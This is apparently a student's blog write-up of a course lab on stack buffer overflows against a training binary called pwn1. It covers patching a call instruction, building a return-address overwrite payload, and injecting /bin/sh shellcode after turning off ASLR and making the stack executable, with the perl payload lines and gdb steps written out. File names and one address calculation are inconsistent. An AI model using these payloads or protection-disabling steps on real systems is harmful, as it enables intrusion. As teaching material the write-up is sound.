20252906 2025-2026-2 《网络攻防实践》第九周作业

一、实践要求
1.实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

三个实践内容如下:

手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。
2.实验要求
掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
掌握反汇编与十六进制编程器
能正确修改机器指令改变程序执行流程
能正确构造payload进行bof攻击

任务一: 手工修改可执行文件

首先将 kali 虚拟机名称改为:ywq20252906

hostnamectl set-hostname ywq20252906

ChatGPT Image 2026年6月1日 10_37_33 (8)

先在本地主机上下载并解压pwn1压缩包,然后把解压得到的文件复制到Kali虚拟机中。
在 Kali 里使用 mv 命令修改文件名,改成 pwn20252906

执行objdump -d pwn20252906 | more对该文件进行反汇编

输出结果中可以看到 getShell、foo、main 等函数的汇编代码。

ChatGPT Image 2026年6月1日 10_37_16 (1)

ChatGPT Image 2026年6月1日 10_37_34 (9)

通过反汇编分析可以看到,foo 函数的起始地址为 0x08048491,这个值等于 main 函数中 call 指令的结束地址 0x080484b5 加上 0xffffffd7(注意栈中数据的字节顺序为逆序存放)。

修改 main 函数里那条 call 指令的目标地址,使程序跳转到 getShell 函数。

计算getShell的起始地址 0x0804847d 减去 0x080484ba,得到结果 0xffffffc3。将原 call 指令中的目标地址字节从 d7 ff ff ff 改为 c3 ff ff ff,即可实现跳转。

接下来通过命令行工具修改二进制文件中的对应字节,并用文本编辑器(如 hexedit 或 vim 的十六进制模式)打开文件进行确认。

vim pwn20252906

ChatGPT Image 2026年6月1日 10_37_22 (2)

按 Esc 键退出编辑模式,再执行相应命令切换到十六进制编辑模式。

:%!xxd

找到d7ffffff

ChatGPT Image 2026年6月1日 10_37_26 (3)

将目标地址修改为 c3 ff ff ff

找到原来的 d7 字节,逐一改成 c3,每改动一个字符就按一次 r 键进行替换

修改完成后,按 Esc 键退出编辑模式,接着执行以下命令把文件从十六进制模式恢复为普通文本显示

:%!xxd -r
再次按 Esc 键,然后输入保存并退出的命令

:wq
重新运行反汇编命令查看修改后的结果

objdump -d pwn20252919 | more
从输出中可以看到程序已经能够调用 getShell 函数

至此,修改成功

函数 / 指令 内存地址 机器码原始值 修改后机器码
getShell 入口 0x0804847d - -
foo 函数入口 0x08048491 - -
main 中 call 指令 0x080484b5 d7 ff ff ff c3 ff ff ff

任务二:利用foo函数的Bof漏洞,构造一个攻击输入字符串

内存地址 汇编代码 操作说明
0x8048491 push %ebp 将调用函数的栈底地址压入栈中,准备构建当前函数的栈框架
0x8048492 mov %esp, %ebp 让栈底指针指向当前栈顶,正式确立当前函数的栈帧基址
0x8048494 sub $0x38, %esp 将栈顶向下移动 56 字节,用于存放本地的临时变量
0x8048497 lea -0x1c(%ebp), %eax 计算 ebp-28 的地址并存入 eax,该地址对应一块 28 字节的缓冲区,用来接收用户输入

x86架构中,EIP 寄存器负责保存函数返回后要执行的下一条指令的地址。
如果能通过输入数据越过那 28 字节的缓冲区,并精确覆盖到返回地址所在的位置,就可以劫持程序的执行路径。

具体来说,把原始的返回地址(0x80484ba)替换为 getShell 函数的入口地址(0x804847d),这样当 foo 函数执行完毕返回时,程序就会跳转到getShell继续执行。

为此需要构造一个足够长的字符串,使其长度超过缓冲区能容纳的范围,直至触及保存返回地址的栈位置。
也就是说,当输入长度大于 28(缓冲区)+ 4(覆盖 ebp 占用的空间) 字节时,第 33 到第 36 个字节就会写入 EIP 所对应的返回地址位置。
一旦这几个字节被设置为 getShell 的地址,程序的返回流程就被成功劫持。

栈区域 大小 作用 覆盖目标
输入缓冲区 28 字节 存储用户输入 填充无用字符
旧 EBP 指针 4 字节 栈帧基址 填充无用字符
函数返回地址 4 字节 保存返回后指令地址 getShell 地址(小端序)

接下来使用gdbpwn1进行动态调试,验证上述溢出过程:

gdb pwn1

ChatGPT Image 2026年6月1日 10_37_28 (4)

ChatGPT Image 2026年6月1日 10_37_30 (5)

为了实现溢出后调用 getShell,我们需要在输入字符串中精准写入该函数的入口地址。

由于 ELF 文件采用小端字节序,在内存中地址的存放顺序是从低字节到高字节,因此这四个字节实际应写成:\x7d\x84\x04\x08

接下来使用如下命令构造恶意输入并传递给程序:

perl -e 'print "00000000000000000000000000000000\x7d\x84\x04\x08\x0a "' > input_20252906

ChatGPT Image 2026年6月1日 10_37_31 (6)

生成包含字符串内容的文件 input_20252906

随后执行命令以十六进制形式查看该文件的原始字节数据。

xxd input_20252906

ChatGPT Image 2026年6月1日 10_37_32 (7)

输入命令,即可将构造好的字符串输入程序并运行

chmod u+x ./pwn1
(cat input_20252906; cat) | ./pwn1

任务三:注入Shellcode并执行
输入指令,安装execstack

apt-get install execstack

将可执行文件的栈内存区域标记为允许代码执行

execstack -s pwn1

ChatGPT Image 2026年6月1日 13_09_13 (6)

查询文件的堆栈是否可执行

execstack -q pwn1

ChatGPT Image 2026年6月1日 13_09_14 (7)

检查地址空间随机化配置,并确认是否允许栈内存区域执行代码(输出结果中含字母 X 即表示栈可执行)。

more /proc/sys/kernel/randomize_va_space

禁用操作系统层面的地址空间布局随机化机制

echo "0" > /proc/sys/kernel/randomize_va_space

执行查看指令,确认地址随机化功能已处于关闭状态

more /proc/sys/kernel/randomize_va_space

ChatGPT Image 2026年6月1日 13_09_16 (9)

生成包含“伪造返回地址 + 空操作滑板 + 攻击载荷”的字符串,并作为输入注入目标程序

perl -e 'print "\x90" x 100 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" . "\x目标返回地址(四字节,小端序)" x 20;' | ./漏洞程序
其中 \x90 表示 NOP 滑板,shellcode 为提供的机器码,retaddr 需替换为实际跳转地址并重复写入以覆盖返回地址。

perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode_20242935
\x90\x90\x90...:前面的几个 \x90是 NOP滑板

中间的部分是上述的 shellcode

末尾部分 \x90\x04\x03\x02\x01\x00 实际上包含了一个 NOP 字节和一个四字节的伪造地址(0x01020304 的小端序表示)

其中 \x00 是字符串结束标志或地址的一部分,具体视构造方式而定。

ChatGPT Image 2026年6月1日 13_09_10 (1)

输入指令,开始运行

(cat input_shellcode_20252919; cat) | ./pwn1

ChatGPT Image 2026年6月1日 13_09_10 (2)

在新的终端窗口中,通过命令查找进程标识符为 356270 的目标进程

ps -ef | grep pwn1

使用 gdb 附加到目标进程进行动态调试-------------这里出现了较大的问题,详见三学习中遇到的问题

gdb
以进程号附加 gdb 并设置断点,定位注入字符串在内存中的存放地址

attach 356270

ChatGPT Image 2026年6月1日 13_09_11 (3)

反汇编foo函数并定位返回指令前的断点位置

disassemble foo

ChatGPT Image 2026年6月1日 13_09_12 (4)

在 gdb 中为指定地址或指令位置添加断点

break *0x080484ae

ChatGPT Image 2026年6月1日 13_09_12 (5)

设置完毕后,在gdb中输入指令,继续执行

c

2560076-20260527222011197-22205579

再在左边的终端回车,即可到达断点

配置项 操作命令 作用
安装 execstack apt-get install execstack 配置栈执行权限
开启栈可执行 execstack -s pwn20252906 允许栈上代码执行
关闭 ASLR echo "0" > /proc/sys/kernel/randomize_va_space 关闭地址空间随机化

输入指令,查看栈顶指针所在的位置,并查看该地址存放的数据为:0xffffd30c

info r esp

2560076-20260527222010108-1544658999

输入命令,查看其存放内容,看到了0x01020304,就是返回地址的位置

x/16x 0xffffd30c

返回地址为:x/16x 0xffffd30c+0x00000004 = 0xFFFFD308 地址应为 0xffffd31c。
因此可以构造shellcode为

perl -e 'print "A" x 48; print "\x40\xd3\xff\xff"; print "\x90" x 20; print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"' > input_shellcode_20252906

ChatGPT Image 2026年6月1日 14_03_40

然后输入命令,再次运行,可以看到攻击成功

(cat input_shellcode_20252906; cat) | ./pwn1

三、学习中遇到的问题及解决
问题一:安装gdb文件失败

原因:

软件源同步 / 更新不及时:apt 本地缓存的软件包索引未更新,导致它还在请求旧版本的包地址,而服务器上的包版本已经更新,旧地址失效。
源地址配置问题:日志中同时出现了官方源 http://http.kali.org 和国内镜像源(清华、中科大),可能存在源地址格式或优先级问题,部分请求仍走了官方源的旧地址。
包依赖 / 版本问题:部分依赖包的版本号与当前系统的 kali-rolling 分支不匹配,导致拉取失败。
解决方法:

修复并更新软件源(核心步骤)
编辑软件源配置文件:

nano /etc/apt/sources.list
我找到的可以替换国内镜像源:

deb https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main non-free contrib
deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main non-free contrib

3.重新运行之前的安装命令

apt install gdb

四、学习收获与感悟

完成这三个任务后,我对“缓冲区溢出”这一看似陈旧的攻击方式,有了非常真切的亲身感受。三个任务恰好对应了攻击代码的三种“获取途径”:一是直接修改现有代码,二是利用程序中已有的代码片段,三是注入全新的代码。它们的难度逐步上升。

最让我印象深刻的是“改一个字节就能扭转控制流”这种冲击感。在任务一中,只需要把 e8 d7 ff ff ff 里的 d7 改成 c3,整个程序的逻辑就被彻底偷换了:原本要被调用的 foo 函数永远不会执行,反而是设计者刻意隐藏的 getShell 被意外触发。那 5 个字节的 call 指令,承载着“程序下一步该去哪”这一关键信息——改一个字,结局就天差地别。这件事让我对二进制层面的攻击有了直观的理解:机器码本质上也只是数据,可以被读取、被修改、被覆盖。这也正是为什么后来会出现 W^X 或 NX 这类硬件级防护机制——确保代码段不可写、数据段不可执行

posted @ 2026-06-01 13:29  淡墨如野  阅读(11)  评论(0)    收藏  举报